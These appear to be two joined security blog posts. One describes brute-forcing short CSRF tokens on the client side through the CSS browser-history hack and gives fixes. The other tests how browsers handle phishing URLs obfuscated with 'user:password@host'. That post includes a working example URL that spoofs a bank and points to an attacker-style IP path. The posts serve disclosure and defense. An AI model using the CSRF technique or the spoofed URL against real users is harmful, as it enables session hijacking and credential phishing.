Update: Security researchers Sirdarckcat and Gareth were kind enough to share the code for a pure CSS based CSRF token finder here . This is stealthier than my PoC below, which used a combination of both JS and CSS. So, it will still work even if you disable javascript and you are not safe anymore . To make this PoC more responsive to the client, you need to use multiple CSS stylesheets using the import command. The only problem I see with this pure CSS based approach is there will be network latency involved with large key spaces because your large CSS stylesheet will need to be downloaded by your browser.

I was thinking about the problem of Cross Site Request Forgery and current mitigation strategies used in the Industry. In many of the real world applications I have tested so far, I see the use of random tokens appended as part of url. If the request fails to provide any token or provide a token with incorrect value, then the request is rejected. This prevents CSRF or any cross domain unauthorized function execution.

Uptil now, it was considered infeasible for an attacker to discover your CSRF token using Brute Force Attacks on the server.

The reasons being:

1. It generates lot of noise on the network and is slow. So most probably an IDS or Web App Firewall will pick up the malicious behavior and block your ip. For example, a Base16 CSRF token of length 5 characters (starting with a character) will generate approximately 393,216 requests.
2. Many applications are programmed to invalidate your session after it detects more than a certain number of requests with invalid token values. E.g. 30.

I am going to change this belief by showing you a technique to quicky find csrf tokens without generating alerts. This technique is a client side attack, so there is almost no network traffic generated and hence, your server and IDS/Web App Firewalls won’t notice it at all. This attack is based on the popular CSS History Hack found by Jeremiah Grossman 3 years ago.

In this exploit, we discover the csrf token by brute forcing the various set of urls in browser history. We will try to embed different csrf token values as part of url and check if the user has visited that url. If yes, there is a good chance that the user is either using the same CSRF token in the current active session or might have used that token in a previous session. Once we have a list of all such tokens, we can just try our csrf attack on the server using that small list. Currently this attack is feasible for tokens with length of 5 characters or shorter. I tried it on a base16 string of length 5 and was able to brute force the entire key space in less than 2 minutes.

Some of the prerequisites for this attack to work are either

1. CSRF token remains the same for a particular user session. e.g. csrf token=hash(session_id) OR
2. CSRF token submitted in older forms for the same session is accepted. Many times, this is the case as it enhances user experience and allows using forward and back browser buttons.

Proof of Concept is available here.
Before running the PoC, you need to change the url and csrftoken paramater values.

For testing using the defaults, you need to first visit one of the following urls, e.g.

1. http://securethoughts.com/?param1=val1&csrftoken=b59fe [change b59fe to any 5-digit base 16 string starting with a character, i.e.greater than a0000]
2. http://tinyurl.com/l2lwgd [which is 301 redirect to previous url].
   

Note: http://www.securethoughts.com and http://securethoughts.com are treated differently while storing in browser history.

A sample run will look like this –

For making this attack unfeasible,

1. Server-Side Solution (for developers):
• Make your CSRF tokens long enough (8 or more chars) to be unfeasible for a CLIENT SIDE attack. The ever-increasing processing power will make this attack feasible for longer tokens as well.
• Store your CSRF token as part of hidden form field, rather than putting in url.
• Use a different random token for every form submission and not accept any obsolete token, even for the same session.
2. Client-Side Solution (for your customers/users):
   • Use a browser plugin such as SafeHistory, which defends against visited-link-based tracking techniques.
   • Use the private browsing mode in your browser.

And last, but not the least, XSS obliterates all the CSRF protections possible. So, get rid of XSS first.

I would like to thank Jeremiah for providing his insightful feedback on this post.

For those of you who don’t know what URL obfuscation is, it is an age old technique that phishers used to spoof legitimate websites like popular banks, etc. The phisher will send spam emails claiming to come from your bank and if you fall for the spoof, you might end up giving up your credentials. Among the popular techniques, this one I feel is the most important one as it tries to exploit link embedded authentication which is done using a url format http://username:password@evilwebsite.com. An attacker can use overly long urls to completely hide the suspicious part in your address bar which is “@evilwebsite.com” or something like “@evilwebsiteip (xx.xx.xx.xx)” with different number encoding methods.


For my testing, I did the following: {Note: IP changed from last post, images have old IP}

1. I pasted this url in the browser’s address bar

http://www.bankofamerica.com&service=accountlogin&sessionid=AxYghT809532AjAhklkjfldsl4380439053Xvgjy73099538309AngfldhgTYiHYojn43540538080985034LAAJKnhfdser6545342iuSA6feerhteh358fhds&accessip=@174.120.41.176/~inferno/exploits/obfusurl/index.htm

2. I hovered on this hyperlink and noticed my STATUS BAR [Window Width should be <=1024]


Here are the results:

Safari 4.0 (530.17): Safari is vulnerable to this exploit. It does not take any steps to mitigate this problem. In the address bar, the overly long url continues to show as it is after the webpage is opened and hence a normal user is very likely to fall a prey to this phishing attack (see the image below). Also, status bar is disabled by default. Since most users don’t change the default settings, user is again more likely to fall prey when they click a hyperlink somewhere on the web. If you explicitly enabled the status bar, then you might identify the evil site. The reason being that Safari does a truncation on the long url by putting “..” in the middle, so you will see the suspicious part at the end.




Opera 9.64: Opera has some mitigation strategies to protect against this exploit. It will raise a popup alerting the user that a username is entered as part of url. The username in error message can be a little confusing to the user and ideally it should instead put the name/ip of the evil site which is a better indicator (one that Firefox uses). Another sad part is “YES” button is the default option. So if a user does not understand the message or accidently presses “ENTER” (which most people do when they see popups), they might become a victim to this phishing attack. Regarding the status bar part, when you hover over a overly long hyperlink, Opera truncates it at the end (which is bad) so you won’t see the evil site information at the end of URL.




Chrome 2.0.172.31: The obfuscated URL works in Google Chrome, however Google has taken important mitigation steps to prevent phishing altogether. The first thing they do not display the “username:password@” portion of the URL when you hover over a link. The second thing they do is they strip out the “username:password@” portion of the URL when visiting that URL, so a user clearly sees the evil site name or ip. This definitely makes the user suspicious and hence won’t fall for the exploit. The last thing they do is they convert decimal addresses to dotted quad notation.




Internet Explorer 7.0.5730.13: Internet Explorer stopped supporting the link based authentication url format from IE7 onwards. Moreover, if you put these long urls in hyperlinks, they won’t work even if user clicks on them. So, YES, you are not vulnerable to this exploit in IE. However, I have a concern with the error message raised “Windows cannot find …” when a user tries to access such urls. I really feel that Microsoft should improve the content of this message, as otherwise, a normal user might think that IE is not able to open such urls and might try using other browsers like Safari, where they become a prey to his phishing attack.




Firefox 3.5 Beta 4: Last, but not the least Firefox. I really like Firefox which intelligently decides the content of error messages. If your site does not support HTTP Basic Authentication, there cannot be any usecase of a user providing auth credentials. So, it raises an important message that you are being tricked. It also includes the evil site’s name or ip and confirms with you if you want to go there. Also, “NO” button is the default choice. There is almost 0% possibility of a person falling a prey to this phishing attack here. Regarding the status bar part, when you hover on a overly long hyperlink, Firefox truncates it at the end (just like Opera which is bad) so you won’t see the evil site information at the end of URL.




I feel that common mitigation techniques should be implemented uniformly in all browsers. If we combine the techniques used by Firefox and Chrome, we can get the best of both worlds which is to continue to support link based authentication and mitigating the security vulnerabilities arising from url obfuscation with overly long urls.